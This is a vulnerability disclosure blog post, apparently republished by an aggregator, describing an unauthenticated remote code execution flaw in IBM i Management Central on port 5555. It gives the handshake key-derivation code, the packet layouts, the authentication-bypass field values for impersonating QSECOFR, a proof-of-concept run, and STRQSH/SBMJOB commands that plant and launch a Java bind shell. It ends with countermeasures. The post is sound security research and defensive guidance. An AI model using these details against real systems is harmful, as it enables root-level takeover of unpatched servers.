Unauthenticated RCE as QSECOFR via IBM i Management Central
We discovered and developed an exploit for a pre-authentication remote code executio 2026-6-5 08:15:0 Author: blog.silentsignal.eu(查看原文) 阅读量:15 收藏

We discovered and developed an exploit for a pre-authentication remote code execution vulnerability in IBM i Management Central (MGTC). The vulnerability allows an unauthenticated attacker to execute arbitrary CL commands as QSECOFR – the root-equivalent profile on IBM i – by abusing the MGTC packet protocol on port 5555.

What is Management Central?

Management Central is a Java-based system management framework that has been part of IBM i since the early 2000s. It provides centralized task scheduling, system monitoring, software distribution, and remote command execution across groups of IBM i systems. If that sounds like a powerful service to expose on the network, it is.

The service runs as two listeners. Port 5544 is an RMI-based interface that uses McRMISocketFactory – a custom RMISocketFactory – to wrap every incoming connection in a serialized McSocketBundle exchange before any RMI method calls occur. There was a deserialization vulnerability in Management Central that we discovered and reported to IBM PSIRT. (CVE-2024-31879).

Port 5555 runs McSocketListener, which extends java.net.ServerSocket directly, skipping RMI and Java serialization. It accepts raw TCP connections, performs a custom binary handshake, and then creates a McPacketConnection that processes packets using McBuffer, a custom binary serialization format. This is the port and protocol we exploit in this post.

Both ports are started by the MGTC server job (QYPSJSVR) when the service is active. The CL command is STRTCPSVR SERVER(*MGTC).

IBM has been deprecating Management Central. Starting with V7R5, the service is no longer part of the operating system. On V7R4 and earlier, it is a standard component and often starts automatically. Given IBM i’s long upgrade cycles, there are plenty of V7R4 systems in production.

Finding the Pieces

The MGTC implementation ships as a set of JAR files. The client-side classes are included in IBM i Access Client Solutions (ACS): McClient.jar, McPacketClient.jar, McServer.jar, and McOSClient.jar. On the server side, the same JARs live under /QIBM/ProdData/OS400/Mgtc/ – over 40 JARs in total, plus jt400.jar from /QIBM/ProdData/OS400/jt400/lib/.

Decompiling these JARs gives us the complete picture. The MGTC protocol has no public documentation – everything described in this post was reconstructed from the bytecode using javap -p -c on the class files.

The key classes are:

Class Role
McSocketListener Server socket for port 5555 (extends ServerSocket)
McSocketConnection Handles the binary handshake, sends/receives packets
McPacketConnection Wraps McSocketConnection, manages the packet lifecycle
McBuffer Custom binary serializer (not ObjectInputStream)
McPacket Base class for all packets; carries routing + auth data
McClassManager Maps integer classIds to Java class names
McPacketableAuthenticationData Per-packet auth structure (the vulnerable component)
McPacketManager Routes packets, calls authenticate() and execute()

The Class ID System

MGTC uses integer class identifiers to map packet types to Java classes. McClassManager maintains a static array of 3000 entries initialized at startup. The important ones for this exploit:

classId  3 → McCreateRequest         (registers a managed object)
classId 16 → McStartRequest          (starts/executes an activity)
classId 21 → McTaskRequest           (task lifecycle operations)
classId 82 → McStatusReply           (success response)
classId 87 → McManagedObjectReply    (returns created object with assigned ID)
classId 99 → McSlashedAndBurnedReply (error response)
classId 251 → McEndpointManagedCmdData    (command task data)
classId 252 → McManagedCmdDefinition      (command definition with CL string)

When the server receives a packet, it reads the classId from the wire, looks up the corresponding class name in the array, instantiates it via reflection, and calls inflate() to deserialize the packet from a McBuffer.

The McBuffer Format

McBuffer is the serialization engine for all MGTC packet data. Instead of using the built-in Java ObjectInputStream, it uses a custom binary format with explicit type encoding. The primitives:

Method Wire format
deflate(int) 4 bytes big-endian
deflate(long) 8 bytes big-endian
deflate(float) 4 bytes IEEE 754
deflate(byte) 1 byte
deflate(byte[]) raw bytes, no length prefix
deflate(String) 2-byte length (short) + UTF-16BE data
deflate(String, (short)4) 4-byte length (int) + UTF-16BE data

When the server creates a McBuffer for outgoing data, it calls allocate() which writes a 4-byte version float (e.g., 7.2f = 0x40e66666) as the first bytes. Incoming data is expected to start with this version header.

The Binary Handshake

The handshake on port 5555 is the first barrier. McSocketConnection.sendHandshake() and receiveHandshake() implement a multi-step exchange. The connector (client) sends a 1144-byte structure for IPv4:

Buffer (1120 bytes):

Offset 0-511:     hostname (UTF-16BE, zero-padded)
Offset 512-1023:  hostname (repeated)
Offset 1024-1055: IP address (UTF-16BE, 32 bytes)
Offset 1056-1087: OS name (UTF-16BE, 32 bytes)
Offset 1088-1119: OS version (UTF-16BE, 32 bytes)

Metadata (24 bytes):

[hostLen:2][hostLen:2][addrLen:2][osLen:2][verLen:2][ipv4Flag:2][mcVersion:4][connectKey:4][acceptKey:4]

The server responds with the same structure. But the handshake does not end here. The server’s sendHandshake() method blocks on a readFully(4) call, waiting for the connector to send back 4 bytes: manipulateKey(server_localKey). If you don’t send them, the server hangs and nothing else happens. This cost us a fair amount of debugging time.

The key derivation uses constants 12345 and 54321:

long manipulateKey(long key) {
    long t = (key & 0xFFFFL) << 8;
    long r = key | ((t * 12345L) & 0xFFFFFFFFL);
    t = (r & 0xFFFF0000L) >> 8;
    return (r ^ ((t * 54321L) & 0xFFFFFFFFL)) & 0xFFFFFFFFL;
}

After key verification, if the Management Central version is >= 5.1, a 4-byte negotiation follows (each side sends a random key). For version >= 5.21, a configuration exchange (5 ints out, variable-length response) completes the setup.

The OS name field matters. The server’s receiveHandshake() checks it: if authLevel == 1 and the remote OS starts with "WIN32", the connection key is manipulated normally. Otherwise, depending on the server’s authLevel vs MIN_AUTH_LEVEL, the connection may be rejected. We use "WIN32" in the handshake for this reason.

The Packet Wire Format

After the handshake, McSocketConnection.sendPacket() and receivePacket() handle the packet exchange. Each packet on the wire has a simple framing:

[classId: 4 bytes][dataLength: 4 bytes][data: dataLength bytes]

The classId identifies the packet type (see the class ID table above). The data is McBuffer-encoded and starts with a 4-byte version float, followed by the fields defined by each packet class’s deflate() method.

Every packet inherits from McPacket, which defines a common header deflated by McPacket.deflate():

[version: 4 float]          ← McBuffer version header
[classId: 4 int]            ← packet's own classId
[destination: 2+N string]   ← short-prefixed UTF-16BE string (usually empty)
[routingInfo]               ← McPacketableRoutingInfo (see below)
[authData]                  ← McPacketableAuthenticationData (see below)

McPacketableRoutingInfo

The routing info identifies the target and source of the packet:

[classId: 4 int]           ← always 2102
[toConnectionId: 4 int]
[toObjectId: 4 int]        ← the managed object to target
[fromConnectionId: 4 int]
[fromObjectId: 4 int]

The toObjectId field is critical for McStartRequest as it determines which managed object’s controller receives the start() call.

McPacketableAuthenticationData

This is the per-packet authentication structure, and the component we exploit:

[classId: 4 int]           ← always 2104
[verify: 1 byte]           ← 0=skip validation, 1=validate
[type: 4 int]              ← encryption type (0=none, 1=masked, 3=encrypted)
[userId: 2+N string]       ← user profile name
[password: 24 bytes]       ← raw password/hash data
[entryKey: 200 bytes]      ← entry validation key
[action: 4 int]
[timeStamp: 4 int]
[realPasswordLen: 4 int]

The Authentication Bypass

When the server inflates a packet, McPacketConnection.listenForPackets() reads the wire frame, creates a McBuffer from the data, and calls McClassManager to instantiate the correct packet class. The packet’s inflate() method populates its fields. Then McPacketManager.routePacket() is called, which triggers McPacket.route().

McPacket.route() calls authenticate() first, then dispatches to an execution thread. McPacket.authenticate() delegates to McPacketManager.authenticate():

// McPacketManager.authenticate() - decompiled
public static void authenticate(McPacketableAuthenticationData authData) {
    McPrivateUser.resetUser();
    McPrivateUser.resetOwner();
    authData.validate();
    McPrivateUser.setUser(authData.getUserId());
}

The validate() method has two checks:

// McPacketableAuthenticationData.validate() - decompiled
public void validate() throws McException {
    if (!usedForAuth && !grandfatherClause) {
        throw new McException("CPFB9B3");
    }
    if (!verify) return;  // ← skips ALL password/token validation

    switch (type) {
        case 1: validateProfilePassword(userId, password); break;
        case 3: validateBytes(password, getEncryptedPwd(clientSeed, serverSeed)); break;
        // ...
    }
}

The usedForAuth field is not transmitted on the wire. It is derived during inflate():

// McPacketableAuthenticationData.inflate() - decompiled
verify = buf.inflate(BYTE);
type = buf.inflate(INT);
usedForAuth = (type != 0);   // ← derived from type

If type == 0, the server sets usedForAuth = false, and validate() throws before reaching the verify check. The trick is to send type = 3 (ENCRYPTED), which sets usedForAuth = true. Combined with verify = 0, the first check passes and the second check returns immediately without password validation of any kind.

After validate() returns, McPacketManager.authenticate() calls McPrivateUser.setUser(authData.getUserId()). We send "QSECOFR" as the userId. The server sets the thread’s execution context to QSECOFR – the IBM i root-equivalent profile with *ALLOBJ and *SECADM special authorities.

The authentication data we send:

verify  = 0x00                    (skip validation)
type    = 0x00000003              (ENCRYPTED → usedForAuth=true)
userId  = "QSECOFR"              (impersonate root)
password = 24 zero bytes          (never checked)
entryKey = 200 zero bytes         (never checked)
action/timestamp/len = 0          (unused)

Exploitation: The Task Lifecycle

With authentication bypassed, we use MGTC’s own task management protocol to execute commands. This follows the standard MGTC lifecycle: create a managed object that represents a command task, then start it.

McCreateRequest (classId=3)

The McCreateRequest.inflate() reads:

[McPacket header]          ← classId=3, destination, routing, auth
[autoIncrement: 4 int]    ← 0
[mgdObjectClassId: 4 int] ← 251 (McEndpointManagedCmdData)
[managed object data]      ← the full McEndpointManagedCmdData

The managed object is McEndpointManagedCmdData (classId=251), which extends McManagedActivityData extends McManagedObject. Its inflate() chain reads:

McManagedObject:
  [classId: 4 int]              ← 251
  [owner: 2+N string]           ← "QSECOFR"
  [name: 2+N string]            ← task name
  [description: 2+N string]
  [originSystem: 2+N string]    ← target host
  [crtDate: 12 bytes]           ← McUniversalTime (classId 2100 + 8-byte timestamp)
  [chgDate: 12 bytes]
  [routingInfo: 20 bytes]       ← McPacketableRoutingInfo
  [sharing: 4 int]              ← 0

McManagedActivityData:
  [statusClassId: 4 int]        ← 0 (no status object)

McManagedCmdDefinition (nested, classId=252):
  [McManagedObject fields]      ← same structure as above with classId=252
  [cmd: 4+N string]             ← the CL command (int-prefixed for version >= 5.2)
  [joblogOption: 4 int]         ← 0
  [messageOption: 4 int]        ← 0

The cmd field in McManagedCmdDefinition is the arbitrary CL command string. This is where we put our payload.

When the server processes this request, McCreateRequest.execute() calls McManagedObjectManager.getController(mgdObject), which uses McEndpointManagedCmdData.getControllerClass() to instantiate McEndpointManagedTaskController. The controller’s create() method registers the object and assigns a sequential objectId, returned in a McManagedObjectReply (classId=87).

McStartRequest (classId=16)

This is a minimal packet – just the McPacket header (classId=16, destination, routing, auth) with no additional fields. The toObjectId in the routing info specifies which managed object to start.

McStartRequest.execute() looks up the controller by objectId, casts it to McManagedActivityControllerIfc, and calls start(). The controller executes the CL command from the McManagedCmdDefinition under the QSECOFR profile.

Since each McCreateRequest returns a different objectId and parsing the response requires implementing the McBuffer inflate logic, we use a simple approach: send start requests for objectId values 2 through 20. Invalid IDs return McSlashedAndBurnedReply (classId=99) errors that the server handles gracefully. The matching ID triggers execution.

Proof of Exploitation

We implemented the full chain – handshake, McBuffer encoding, packet construction, and authentication bypass – in a standalone Java tool with zero dependencies on IBM libraries. Running it against a V7R4 system:

$ java Mgtc5555RCE 192.168.11.32 "STRQSH CMD('id > /tmp/x111')"
[*] IBM MGTC Port 5555 Pre-Auth RCE
[*] Target: 192.168.11.32
[*] User: QSECOFR (impersonated, no password)
[*] Command: STRQSH CMD('id > /tmp/x111')

[1] Handshake on port 5555 (bypasses ObjectInputFilter)...
[+] Handshake complete
[2] Sending McCreateRequest (verify=false, userId=QSECOFR)...
[+] Create response: 607 bytes
[3] Sending McStartRequests (brute-force objectId 2-20)...

[+] Command submitted for execution as QSECOFR

The result on the target system:

$ ls -la /tmp/x111
-rw-rw-rw-    1 qsecofr  0    21 Jun  4 13:13 /tmp/x111

The file is owned by qsecofr (uid=0) – confirming command execution as the root-equivalent profile without any credentials.

For interactive access, we use a Java bind shell. Every IBM i system has Java installed in the PASE environment, so we can compile and execute a bind shell without any additional dependencies:

STRQSH CMD('echo "..." > /tmp/Bindshell.java')
STRQSH CMD('javac -encoding cp500 /tmp/Bindshell.java')
SBMJOB CMD(STRQSH CMD('java -cp /tmp Bindshell')) JOB(MGTCSHELL)

SBMJOB submits the bind shell as an asynchronous batch job, preventing the MGTC task thread from blocking. After connecting with nc, we get an interactive shell as QSECOFR.

What Makes This Work

Three separate issues could be chained to achieve remote code execution:

  1. Port 5555 exposes the full MGTC packet protocol. While CVE-2024-31879 hardened port 5544 against deserialization attacks, port 5555 has a completely separate authentication flaw in the packet protocol layer. The binary handshake and McBuffer serialization are entirely distinct from the RMI/ObjectInputStream path.

  2. The verify flag is trusted from the client. When verify=false, the server skips all password and token validation. Legitimate MGTC clients always set verify=true and provide encrypted credentials – but the server does not enforce this. The usedForAuth gate can be trivially satisfied by setting type=3.

  3. The userId field sets the execution context after validation succeeds. McPrivateUser.setUser() impersonates whatever user the attacker specifies. Combined with the authentication skip, this turns a validation bypass into a full pre-authentication identity impersonation primitive.

Countermeasures

Disable Management Central if you’re not using it:

To prevent it from starting automatically, set the autostart value to *NO in the MGTC configuration.

Block ports 5544 and 5555 at the network level. These ports have no business being exposed to untrusted networks.

Upgrade past V7R4. Management Central is not included in V7R5 and later. Note that systems upgraded from V7R4 may retain the service configuration – verify explicitly.

Monitor for connections to port 5555 from unexpected sources. The 1144-byte handshake is distinctive and easy to fingerprint at the network level.

Exit programs are not effective here. The MGTC packet protocol does not use the standard host server exit point infrastructure that administrators typically rely on for controlling services like DDM or DRDA.

Final Thoughts

Management Central is one of those services that has been running quietly on IBM i systems for over two decades. Many administrators don’t know it’s there, and its protocol security missed the scrutiny of researchers until now. The combination of a custom binary protocol, client-controlled authentication flags, and a derived usedForAuth field that can be trivially satisfied resulted in unauthenticated root-level command execution.

The entire protocol – handshake, McBuffer encoding, packet construction, and authentication bypass – can be implemented from scratch in a single Java file with zero dependencies on IBM libraries. We tested it against a V7R4 system with Management Central active.

The verify flag should never have been a client-side decision. And the server should never use an unauthenticated userId to set the execution context. Two low-severity issues that when combined, result in a pre-auth root shell.

As part of our ongoing IBM i security research, we continue to uncover issues like this in services that have been trusted for decades.


文章来源: https://blog.silentsignal.eu/2026/06/05/unauthenticated-rce-as-qsecofr-via-ibm-i-management-central/
如有侵权请联系:admin#unsafe.sh